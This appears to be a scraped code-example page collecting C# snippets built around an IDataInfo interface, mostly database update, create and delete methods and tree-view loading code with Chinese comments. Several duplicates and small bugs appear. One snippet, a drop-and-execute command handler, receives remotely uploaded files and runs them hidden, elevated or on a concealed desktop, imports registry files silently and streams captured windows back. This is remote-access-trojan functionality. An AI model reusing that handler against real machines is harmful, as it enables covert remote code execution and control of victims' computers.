Beispiel #1
0
        public int UpdateDataInfoObject(IDataInfo dataInfoObject)
        {
            LabelNodeDataInfo obj = dataInfoObject as LabelNodeDataInfo;

            if (String.IsNullOrEmpty(obj.Text) == false && obj.Text.Length > DALConfig.MaxTextFieldSize)
            {
                obj.Text = obj.Text.Substring(0, DALConfig.MaxTextFieldSize);
            }
            if (dataInfoObject == null || obj == null)
            {
                return(0);
            }
            bool        isNew = false;
            LabelNodeDB dbobj = repository.GetLabelNodeDBWithoutInfoNodeDBsByPath(obj.Path);

            if (dbobj == null)
            {
                dbobj = new LabelNodeDB();
                isNew = true;
            }
            dbobj.ModifyTime = obj.ModifyTime;
            dbobj.Label      = obj.Text;
            dbobj.Path       = obj.Path;
            // dbobj.RTFText = (String.IsNullOrEmpty(obj.RTFText)) ? null : Encoding.UTF8.GetBytes(obj.RTFText);
            if (isNew)
            {
                return(repository.AddLabelNodeDB(dbobj));
            }
            else
            {
                return(repository.UpdateLabelNodeDB(dbobj));
            }
        }
 /// <summary>
 /// 删除本节点对象,保留其子节点数据
 /// </summary>
 /// <param name="dataInfoObject"></param>
 /// <returns></returns>
 public int DeleteDataInfoObject(IDataInfo dataInfoObject)
 {
     if (dataInfoObject == null)
     {
         return 0;
     }
     return repository.Delete(dataInfoObject.ID);
 }
 public int DeleteDataInfoObject(IDataInfo dataInfoObject)
 {
     if (dataInfoObject == null)
     {
         return 0;
     }
     return repository.DeleteFolderDB(dataInfoObject.Path);
 }
Beispiel #4
0
 public int DeleteDataInfoObject(IDataInfo dataInfoObject)
 {
     if (dataInfoObject == null)
     {
         return(0);
     }
     return(repository.DeleteLabelNodeDB(dataInfoObject.Path));
 }
Beispiel #5
0
 /// <summary>
 /// 删除本节点对象,保留其子节点数据
 /// </summary>
 /// <param name="dataInfoObject"></param>
 /// <returns></returns>
 public int DeleteDataInfoObject(IDataInfo dataInfoObject)
 {
     if (dataInfoObject == null)
     {
         return(0);
     }
     return(repository.Delete(dataInfoObject.ID));
 }
 public static void PrintTransferDataInfo(IDataInfo dataInfo)
 {
     if (null == dataInfo)
     {
         Test.Info("TransferDataInfo is null");
     }
     else
     {
         Test.Info(dataInfo.ToString());
     }
 }
 public int Create(IDataInfo dataInfoObject)
 {
     if (dataInfoObject == null || (dataInfoObject as DetailTextInfo)==null)
     {
         return 0;
     }
     DetailTextDB dbobj = DetailTextHelper.changeToDetailTextDB(dataInfoObject as DetailTextInfo);
     int result=repository.Create(dbobj);
     //将数据库生成的ID值传回
     dataInfoObject.ID = dbobj.ID;
     return result;
 }
 /// <summary>
 /// 新建一个Folder记录,不包容任何文件
 /// </summary>
 /// <param name="dataInfoObject"></param>
 /// <returns></returns>
 public int Create(IDataInfo dataInfoObject)
 {
     if (dataInfoObject == null || (dataInfoObject as FolderInfo) == null)
     {
         return 0;
     }
     FolderDB dbobj = FolderHelper.changeToFolderDB(dataInfoObject as FolderInfo);
     int result = repository.AddFolderDB(dbobj);
     //将数据库生成的ID值传回
     dataInfoObject.ID = dbobj.ID;
     return 0;
 }
        /// <summary>
        /// 新建一个Folder记录,不包容任何文件
        /// </summary>
        /// <param name="dataInfoObject"></param>
        /// <returns></returns>
        public int Create(IDataInfo dataInfoObject)
        {
            if (dataInfoObject == null || (dataInfoObject as FolderInfo) == null)
            {
                return(0);
            }
            FolderDB dbobj  = FolderHelper.changeToFolderDB(dataInfoObject as FolderInfo);
            int      result = repository.AddFolderDB(dbobj);

            //将数据库生成的ID值传回
            dataInfoObject.ID = dbobj.ID;
            return(0);
        }
Beispiel #10
0
        /// <summary>
        /// 新建一个LabelNode记录,不包容任何关联节点
        /// </summary>
        /// <param name="dataInfoObject"></param>
        /// <returns></returns>
        public int Create(IDataInfo dataInfoObject)
        {
            if (dataInfoObject == null || (dataInfoObject as LabelNodeDataInfo) == null)
            {
                return(0);
            }
            LabelNodeDB dbobj  = LabelNodeHelper.changeToLabelNodeDB(dataInfoObject as LabelNodeDataInfo);
            int         result = repository.AddLabelNodeDB(dbobj);

            //将数据库生成的ID值传回
            dataInfoObject.ID = dbobj.ID;
            return(0);
        }
Beispiel #11
0
        public int Create(IDataInfo dataInfoObject)
        {
            if (dataInfoObject == null || (dataInfoObject as DetailTextInfo) == null)
            {
                return(0);
            }
            DetailTextDB dbobj  = DetailTextHelper.changeToDetailTextDB(dataInfoObject as DetailTextInfo);
            int          result = repository.Create(dbobj);

            //将数据库生成的ID值传回
            dataInfoObject.ID = dbobj.ID;
            return(result);
        }
Beispiel #12
0
        /// <summary>
        /// 再标签节点中显示信息节点内容
        /// </summary>
        /// <param name="newSelectedNode"></param>
        private void LoadDataAndShowInLabelNodeUI(TreeViewIconsItem newSelectedNode)
        {
            NodeDataObject dataInfoObject = newSelectedNode.NodeData;

            //正确地设置可视化界面所关联的数据存取对象
            dataInfoObject.DataItem.SetRootControlDataAccessObj(dataInfoObject.AccessObject);

            //检查一下数据是否己被装入
            if (!dataInfoObject.DataItem.HasBeenLoadFromStorage)
            {
                //装入数据
                IDataInfo dataObj = dataInfoObject.AccessObject.GetDataInfoObjectByPath(newSelectedNode.Path);

                if (dataObj != null)
                {
                    //给将己装入数据的对象添加对主窗体的引用
                    if (NodeFactory._mainWindow != null)
                    {
                        dataObj.MainWindow = NodeFactory._mainWindow;
                    }
                    //把节点数据对象挂到节点上
                    newSelectedNode.NodeData.DataItem = dataObj;
                }
            }

            if (dataInfoObject.DataItem.ShouldEmbedInHostWorkingBench)
            {
                if (dataInfoObject.DataItem.RootControl.Parent != null)
                {
                    (dataInfoObject.DataItem.RootControl.Parent as ContentControl).Content = null;
                }

                (NodeUIContainer.Content as LabelNodeControl).InnerContainer.Content = dataInfoObject.DataItem.RootControl;


                if (dataInfoObject.DataItem.RootControl is InfoNodeControl)
                {
                    (dataInfoObject.DataItem.RootControl as InfoNodeControl).InnerSuperRichTextBox.EditorTool = EditorTool;
                }


                //根节点不显示内容
                if (newSelectedNode.Parent is TreeView)
                {
                    NodeUIContainer.Content = null;
                }
            }
            //显示最新的数据
            dataInfoObject.DataItem.BindToRootControl();
            dataInfoObject.DataItem.RefreshDisplay();
        }
        /// <summary>
        /// 为新节点提取数据并显示
        /// </summary>
        /// <param name="newSelectedNode"></param>
        private void LoadDataAndShowInUI(TreeViewIconsItem newSelectedNode)
        {
            if (newSelectedNode.NodeData.DataItem.NodeType == "OnlyText")
            {
                NodeUIContainer.Content = null;
                newSelectedNode.NodeData.DataItem.RefreshDisplay();
                return;
            }
            NodeDataObject dataInfoObject = newSelectedNode.NodeData;

            //正确地设置可视化界面所关联的数据存取对象
            dataInfoObject.DataItem.SetRootControlDataAccessObj(dataInfoObject.AccessObject);

            //检查一下数据是否己被装入
            if (!dataInfoObject.DataItem.HasBeenLoadFromStorage)
            {
                //装入数据
                IDataInfo dataObj = dataInfoObject.AccessObject.GetDataInfoObjectByPath(newSelectedNode.Path);

                if (dataObj != null)
                {
                    //给将己装入数据的对象添加对主窗体的引用
                    if (NodeFactory._mainWindow != null)
                    {
                        dataObj.MainWindow = NodeFactory._mainWindow;
                    }
                    //把节点数据对象挂到节点上
                    newSelectedNode.NodeData.DataItem = dataObj;
                }
            }

            if (dataInfoObject.DataItem.ShouldEmbedInHostWorkingBench)
            {
                if (dataInfoObject.DataItem.RootControl.Parent != null)
                {
                    (dataInfoObject.DataItem.RootControl.Parent as ContentControl).Content = null;
                }
                NodeUIContainer.Content = dataInfoObject.DataItem.RootControl;
            }
            //显示最新的数据
            dataInfoObject.DataItem.BindToRootControl();
            dataInfoObject.DataItem.RefreshDisplay();
        }
Beispiel #14
0
        /// <summary>
        /// 将对象的当前值写入数据库
        /// </summary>
        /// <param name="dataInfoObject"></param>
        /// <returns></returns>
        public int UpdateDataInfoObject(IDataInfo dataInfoObject)
        {
            DetailTextInfo obj = dataInfoObject as DetailTextInfo;

            if (obj.Text.Length > DALConfig.MaxTextFieldSize)
            {
                obj.Text = obj.Text.Substring(0, DALConfig.MaxTextFieldSize);
            }
            if (dataInfoObject == null || obj == null)
            {
                return(0);
            }
            bool         isNew = false;
            DetailTextDB dbobj = repository.GetDataInfoObjectByPath(obj.Path);

            if (dbobj == null)
            {
                dbobj = new DetailTextDB();
                isNew = true;
            }
            if (String.IsNullOrEmpty(dbobj.Text) == false && String.IsNullOrEmpty(obj.Text))
            {
                ShowWarningInfo(String.Format("更新节点{0}时,发现数据库记录中的Text字段不为空,但尝试写入一个空的字串,这有可能是个错误,特此提示。", obj.Path));
            }
            dbobj.ModifyTime = obj.ModifyTime;
            dbobj.Text       = obj.Text;
            dbobj.Path       = obj.Path;
            dbobj.RTFText    = (String.IsNullOrEmpty(obj.RTFText))?null:Encoding.UTF8.GetBytes(obj.RTFText);
            if (isNew)
            {
                return(repository.Create(dbobj));
            }
            else
            {
                return(repository.Update(dbobj));
            }
        }
Beispiel #15
0
        /// <summary>
        /// 将指定选项卡的数据保存到数据库中
        /// </summary>
        /// <param name="infoTab"></param>
        private void SaveDbTabDataToDB(DBInfoTab infoTab)
        {
            TreeViewIconsItem selectedItem = infoTab.CurrentTreeView.SelectedItem;
            DatabaseInfo      info         = infoTab.dbInfoObject;

            if (selectedItem != null)
            {
                if (infoTab.CurrentTreeView == infoTab.OutLineViewObj.SuperTree || infoTab.CurrentTreeView == infoTab.LabelViewObj.SuperTree)
                {
                    info.LastVisitNodePath = selectedItem.Path;
                    if (infoTab.CurrentTreeView == infoTab.OutLineViewObj.SuperTree)
                    {
                        infoTab.dbInfoObject.LastTabViewIndex = 0;
                    }
                    if (infoTab.CurrentTreeView == infoTab.LabelViewObj.SuperTree)
                    {
                        infoTab.dbInfoObject.LastTabViewIndex = 1;
                    }
                }

                IDataAccess accessobj = selectedItem.NodeData.AccessObject;
                IDataInfo   infoObj   = selectedItem.NodeData.DataItem;
                if (accessobj != null)
                {
                    try
                    {
                        infoObj.RefreshMe();
                        accessobj.UpdateDataInfoObject(infoObj);
                    }
                    catch (Exception ex)
                    {
                        Dispatcher.Invoke(new Action(() => { MessageBox.ShowInformation(ex.ToString()); }));
                    }
                }
            }
        }
        /// <summary>
        /// 将指定选项卡的数据保存到数据库中
        /// </summary>
        /// <param name="infoTab"></param>
        private void SaveDbTabDataToDB(DBInfoTab infoTab)
        {
            TreeViewIconsItem selectedItem = infoTab.treeView1.SelectedItem;
            DatabaseInfo      info         = infoTab.dbInfoObject;

            if (selectedItem != null)
            {
                info.LastVisitNodePath = selectedItem.Path;
                IDataAccess accessobj = selectedItem.NodeData.AccessObject;
                IDataInfo   infoObj   = selectedItem.NodeData.DataItem;
                if (accessobj != null)
                {
                    try
                    {
                        infoObj.RefreshMe();
                        accessobj.UpdateDataInfoObject(infoObj);
                    }
                    catch (Exception ex)
                    {
                        Dispatcher.Invoke(new Action(() => { MessageBox.Show(ex.ToString()); }));
                    }
                }
            }
        }
        public override void ProcessCommand(byte[] parameter, IConnectionInfo connectionInfo)
        {
            switch ((DropAndExecuteCommunication)parameter[0])
            {
            case DropAndExecuteCommunication.InitializeFileTransfer:
                var transferedFile =
                    new TransferedFileInfo(Serializer.FastDeserialize <FileTransferInfo>(parameter, 1),
                                           GetTargetDirectory());

                if (_transferedFiles == null)
                {
                    _transferedFiles = new List <TransferedFileInfo>();
                }

                _transferedFiles.Add(transferedFile);
                break;

            case DropAndExecuteCommunication.SendPackage:
                var fileGuid = new Guid(parameter.Skip(1).Take(16).ToArray());
                transferedFile = _transferedFiles?.FirstOrDefault(x => x.Guid == fileGuid);

                var result = transferedFile?.ReceiveData(parameter, 17, parameter.Length - 17);
                if (result != null)
                {
                    if (result == true)
                    {
                        ResponseBytes((byte)DropAndExecuteCommunication.ResponseUploadCompleted,
                                      fileGuid.ToByteArray(), connectionInfo);
                    }
                    else
                    {
                        ResponseBytes((byte)DropAndExecuteCommunication.ResponseUploadFailed,
                                      fileGuid.ToByteArray(), connectionInfo);
                    }
                }
                break;

            case DropAndExecuteCommunication.UploadCanceled:
                fileGuid       = new Guid(parameter.Skip(1).Take(16).ToArray());
                transferedFile = _transferedFiles?.FirstOrDefault(x => x.Guid == fileGuid);

                if (transferedFile != null)
                {
                    transferedFile.Dispose();
                    _transferedFiles.Remove(transferedFile);
                }
                break;

            case DropAndExecuteCommunication.WindowAction:
                var windowHandle = BitConverter.ToInt64(parameter, 1);
                OnWindowAction((RemoteDesktopAction)parameter[9], parameter, 10, windowHandle);
                break;

            case DropAndExecuteCommunication.StopExecution:
                _applicationWarder.StopExecution();
                _applicationWarder.Dispose();
                _applicationWarder = null;
                break;

            case DropAndExecuteCommunication.StopStreaming:
                _applicationWarder.Dispose();
                _applicationWarder = null;
                break;

            case DropAndExecuteCommunication.SwitchUserToHiddenDesktop:
                var hiddenApplicationWarder = _applicationWarder as HiddenDesktopApplicationManager;
                if (hiddenApplicationWarder != null)
                {
                    hiddenApplicationWarder.Desktop.Show();
                    ResponseByte((byte)DropAndExecuteCommunication.ResponseUserSwitched, connectionInfo);
                }
                break;

            case DropAndExecuteCommunication.SwitchUserBack:
                var desktop = Desktop.Default;
                desktop.Show();
                ResponseByte((byte)DropAndExecuteCommunication.ResponseUserSwitched, connectionInfo);
                break;

            case DropAndExecuteCommunication.ExecuteFile:
                var options = Serializer.FastDeserialize <ExecuteOptions>(parameter, 1);
                transferedFile = _transferedFiles.FirstOrDefault(x => x.Guid == options.FileGuid);
                if (transferedFile == null)
                {
                    ResponseByte((byte)DropAndExecuteCommunication.ResponseFileNotFound, connectionInfo);
                    return;
                }

                switch (options.ExecutionMode)
                {
                case ExecutionMode.JustExecute:
                    var processInfo = new ProcessStartInfo(transferedFile.FileName)
                    {
                        Arguments = options.Arguments
                    };
                    if (options.RunAsAdministrator)
                    {
                        processInfo.Verb = "runas";
                    }

                    var process = Process.Start(processInfo);
                    Thread.Sleep(1000);
                    if (process?.HasExited != false)
                    {
                        var exitCode = process?.ExitCode ?? 0;
                        ResponseBytes(
                            (byte)DropAndExecuteCommunication.ResponseFileMightNotHaveExecutedSuccessfully,
                            BitConverter.GetBytes(exitCode), connectionInfo);
                    }
                    else
                    {
                        ResponseByte((byte)DropAndExecuteCommunication.ResponseFileExecuted, connectionInfo);
                    }
                    return;

                case ExecutionMode.ExecuteHidden:
                    processInfo = new ProcessStartInfo(transferedFile.FileName)
                    {
                        Arguments       = options.Arguments,
                        CreateNoWindow  = true,
                        UseShellExecute = false,
                        WindowStyle     = ProcessWindowStyle.Hidden
                    };

                    if (transferedFile.FileName.EndsWith("reg", StringComparison.OrdinalIgnoreCase))
                    {
                        processInfo.FileName  = "regedit.exe";
                        processInfo.Arguments = $"/s \"{transferedFile.FileName}\"";
                    }

                    if (options.RunAsAdministrator)
                    {
                        processInfo.Verb = "runas";
                    }

                    process = Process.Start(processInfo);
                    Thread.Sleep(1000);
                    if (process?.HasExited != false)
                    {
                        var exitCode = process?.ExitCode ?? 0;
                        ResponseBytes(
                            (byte)DropAndExecuteCommunication.ResponseFileMightNotHaveExecutedSuccessfully,
                            BitConverter.GetBytes(exitCode), connectionInfo);
                    }
                    else
                    {
                        ResponseByte((byte)DropAndExecuteCommunication.ResponseFileExecuted, connectionInfo);
                    }
                    return;

                case ExecutionMode.ExecuteAndCapture:
                    return;

                case ExecutionMode.ExecuteInSecondDesktopAndCapture:
                    _applicationWarder = new HiddenDesktopApplicationManager();
                    break;

                default:
                    throw new ArgumentOutOfRangeException();
                }

                try
                {
                    _applicationWarder.OpenApplication(transferedFile.FileName, options.Arguments,
                                                       options.RunAsAdministrator);
                }
                catch (Exception)
                {
                    ResponseByte(
                        (byte)DropAndExecuteCommunication.ResponseFileExecutionFailed,
                        connectionInfo);
                    _applicationWarder.Dispose();
                    _applicationWarder = null;
                    return;
                }

                IDataInfo    firstRenderInfo = null;
                WindowUpdate windowUpdate    = null;

                for (int i = 0; i < 5; i++)
                {
                    try
                    {
                        windowUpdate = _applicationWarder.GetWindowUpdate(0, out firstRenderInfo);
                    }
                    catch (Exception)
                    {
                        // ignored
                    }

                    if (windowUpdate != null)
                    {
                        break;
                    }

                    Thread.Sleep(1000);
                }

                var windowUpdateData = Serializer.FastSerialize(windowUpdate);

                connectionInfo.UnsafeResponse(this, firstRenderInfo.Length + windowUpdateData.Length + 4 + 1,
                                              writer =>
                {
                    writer.Write((byte)DropAndExecuteCommunication.ResponseBeginStreaming);
                    writer.Write(windowUpdateData.Length);
                    writer.Write(windowUpdateData);
                    firstRenderInfo.WriteIntoStream(writer.BaseStream);
                });
                break;

            case DropAndExecuteCommunication.GetWindowUpdate:
                if (_applicationWarder == null)
                {
                    return;
                }

                IDataInfo renderInfo;
                windowUpdate = _applicationWarder.GetWindowUpdate(BitConverter.ToInt64(parameter, 1), out renderInfo);

                if (windowUpdate == null)
                {
                    _applicationWarder.Dispose();
                    ResponseByte((byte)DropAndExecuteCommunication.ResponseStopStreaming, connectionInfo);
                    return;
                }

                windowUpdateData = Serializer.FastSerialize(windowUpdate);

                connectionInfo.UnsafeResponse(this, (renderInfo?.Length ?? 0) + windowUpdateData.Length + 4 + 1,
                                              writer =>
                {
                    writer.Write((byte)DropAndExecuteCommunication.ResponseWindowUpdate);
                    writer.Write(windowUpdateData.Length);
                    writer.Write(windowUpdateData);
                    renderInfo?.WriteIntoStream(writer.BaseStream);
                });
                break;

            default:
                throw new ArgumentOutOfRangeException();
            }
        }
        public WindowUpdate GetWindowUpdate(long windowHandle, out IDataInfo windowRenderData)
        {
            Desktop.SetCurrent(Desktop);

            List <Window> windows;

            try
            {
                //get all windows
                windows = Desktop.GetWindows().Where(x => NativeMethods.IsWindowVisible(x.Handle)).ToList();
            }
            catch (Exception)
            {
                windowRenderData = null;
                return(null);
            }

            var windowUpdate = new WindowUpdate {
                AllWindows = windows.Select(x => x.Handle.ToInt64()).ToList()
            };

            const int maxWindowNameLength = 100;
            var       ptr = Marshal.AllocHGlobal(maxWindowNameLength);

            try
            {
                foreach (var window in windows)
                {
                    RECT rect;
                    NativeMethods.GetWindowRect(window.Handle, out rect);
                    NativeMethods.GetWindowText(window.Handle, ptr, maxWindowNameLength);

                    var windowInformation = new WindowInformation
                    {
                        Handle = (int)window.Handle,
                        Height = rect.Height,
                        Width  = rect.Width,
                        X      = rect.X,
                        Y      = rect.Y,
                        Title  = Marshal.PtrToStringAnsi(ptr)
                    };

                    var existingRenderWindow =
                        _renderWindows.FirstOrDefault(x => x.WindowInformation.Handle == window.Handle.ToInt64());

                    if (existingRenderWindow == null)
                    {
                        windowUpdate.NewWindows.Add(windowInformation);
                        _renderWindows.Add(new RenderWindow(windowInformation, window.Handle));
                    }
                    else
                    {
                        if (existingRenderWindow.WindowInformation.Equals(windowInformation))
                        {
                            continue;
                        }

                        windowUpdate.UpdatedWindows.Add(windowInformation);
                        existingRenderWindow.ApplyWindowInformation(windowInformation);
                    }
                }
            }
            finally
            {
                Marshal.FreeHGlobal(ptr);
            }

            var windowToRender = _renderWindows.FirstOrDefault(x => x.Handle.ToInt64() == windowHandle) ??
                                 _renderWindows.FirstOrDefault();

            //in case that _renderWindows is empty
            if (windowToRender != null)
            {
                windowRenderData = windowToRender.Render();
                windowUpdate.RenderedWindowHandle = windowToRender.Handle.ToInt64();
            }
            else
            {
                windowRenderData = null;
            }

            return(windowUpdate);
        }
Beispiel #19
0
 public Task SendCommand(Command command, IDataInfo dataInfo)
 {
     return(SendCommand(command, dataInfo.ToArray()));
 }
Beispiel #20
0
 /// <summary>
 ///     Initialize a new instance of <see cref="WriterCall" />
 /// </summary>
 /// <param name="dataInfo">The data info which should be sent</param>
 public WriterCall(IDataInfo dataInfo)
 {
     Size        = dataInfo.Length;
     _writerCall = dataInfo.WriteIntoStream;
 }
        public int UpdateDataInfoObject(IDataInfo dataInfoObject)
        {
            FolderInfo obj = dataInfoObject as FolderInfo;
            if (String.IsNullOrEmpty(obj.Text)==false && obj.Text.Length > DALConfig.MaxTextFieldSize)
            {
                obj.Text = obj.Text.Substring(0, DALConfig.MaxTextFieldSize);
            }
            if (dataInfoObject == null || obj == null)
            {
                return 0;
            }
            bool isNew = false;
            FolderDB dbobj = repository.GetFolderDBWithoutFileInfosByPath(obj.Path);
            if (dbobj == null)
            {
                dbobj = new FolderDB();
                isNew = true;

            }
            dbobj.ModifyTime = obj.ModifyTime;
            dbobj.Text = obj.Text;
            dbobj.Path = obj.Path;
            dbobj.RTFText = (String.IsNullOrEmpty(obj.RTFText)) ? null : Encoding.UTF8.GetBytes(obj.RTFText);
            if (isNew)
            {
                return repository.AddFolderDB(dbobj);
            }
            else
            {

                return repository.UpdateFolderDB(dbobj);

            }
        }
Beispiel #22
0
 public DataInfoAvailableEventArgs(IDataInfo dataInfo)
 {
     DataInfo = dataInfo;
 }
        /// <summary>
        /// 将对象的当前值写入数据库
        /// </summary>
        /// <param name="dataInfoObject"></param>
        /// <returns></returns>
        public int UpdateDataInfoObject(IDataInfo dataInfoObject)
        {
            DetailTextInfo obj=dataInfoObject as DetailTextInfo;
            if (obj.Text.Length > DALConfig.MaxTextFieldSize)
            {
                obj.Text = obj.Text.Substring(0, DALConfig.MaxTextFieldSize);
            }
            if (dataInfoObject == null || obj == null)
            {
                return 0;
            }
            bool isNew = false;
            DetailTextDB dbobj = repository.GetDataInfoObjectByPath(obj.Path);
            if (dbobj == null)
            {
                dbobj = new DetailTextDB();
                isNew = true;

            }
            if (String.IsNullOrEmpty(dbobj.Text) == false && String.IsNullOrEmpty(obj.Text))
            {
                ShowWarningInfo(String.Format("更新节点{0}时,发现数据库记录中的Text字段不为空,但尝试写入一个空的字串,这有可能是个错误,特此提示。",obj.Path));
            }
            dbobj.ModifyTime = obj.ModifyTime;
            dbobj.Text = obj.Text;
            dbobj.Path = obj.Path;
            dbobj.RTFText = (String.IsNullOrEmpty(obj.RTFText))?null:Encoding.UTF8.GetBytes(obj.RTFText);
            if (isNew)
            {
                return repository.Create(dbobj);
            }
            else
            {
                    return repository.Update(dbobj);
            }
        }
 public Task SendCommand(Command command, IDataInfo dataInfo)
 {
     return(UnsafeSendCommand(command, new WriterCall(dataInfo)));
 }
 public static void PrintTransferDataInfo(IDataInfo dataInfo)
 {
     if (null == dataInfo)
     {
         Test.Info("TransferDataInfo is null");
     }
     else
     {
         Test.Info(dataInfo.ToString());
     }
 }
        /// <summary>
        /// 将对象的当前值写入数据库
        /// </summary>
        /// <param name="dataInfoObject"></param>
        /// <returns></returns>
        public int UpdateDataInfoObject(IDataInfo dataInfoObject)
        {
            DetailTextInfo obj=dataInfoObject as DetailTextInfo;
            if (obj.Text.Length > DALConfig.MaxTextFieldSize)
            {
                obj.Text = obj.Text.Substring(0, DALConfig.MaxTextFieldSize);
            }
            if (dataInfoObject == null || obj == null)
            {
                return 0;
            }
            bool isNew = false;
            DetailTextDB dbobj = repository.GetDataInfoObjectByPath(obj.Path);
            if (dbobj == null)
            {
                dbobj = new DetailTextDB();
                isNew = true;

            }
            dbobj.ModifyTime = obj.ModifyTime;
            dbobj.Text = obj.Text;
            dbobj.Path = obj.Path;
            dbobj.RTFText = (String.IsNullOrEmpty(obj.RTFText))?null:Encoding.UTF8.GetBytes(obj.RTFText);
            if (isNew)
            {
                return repository.Create(dbobj);
            }
            else
            {

                    return repository.Update(dbobj);

            }
        }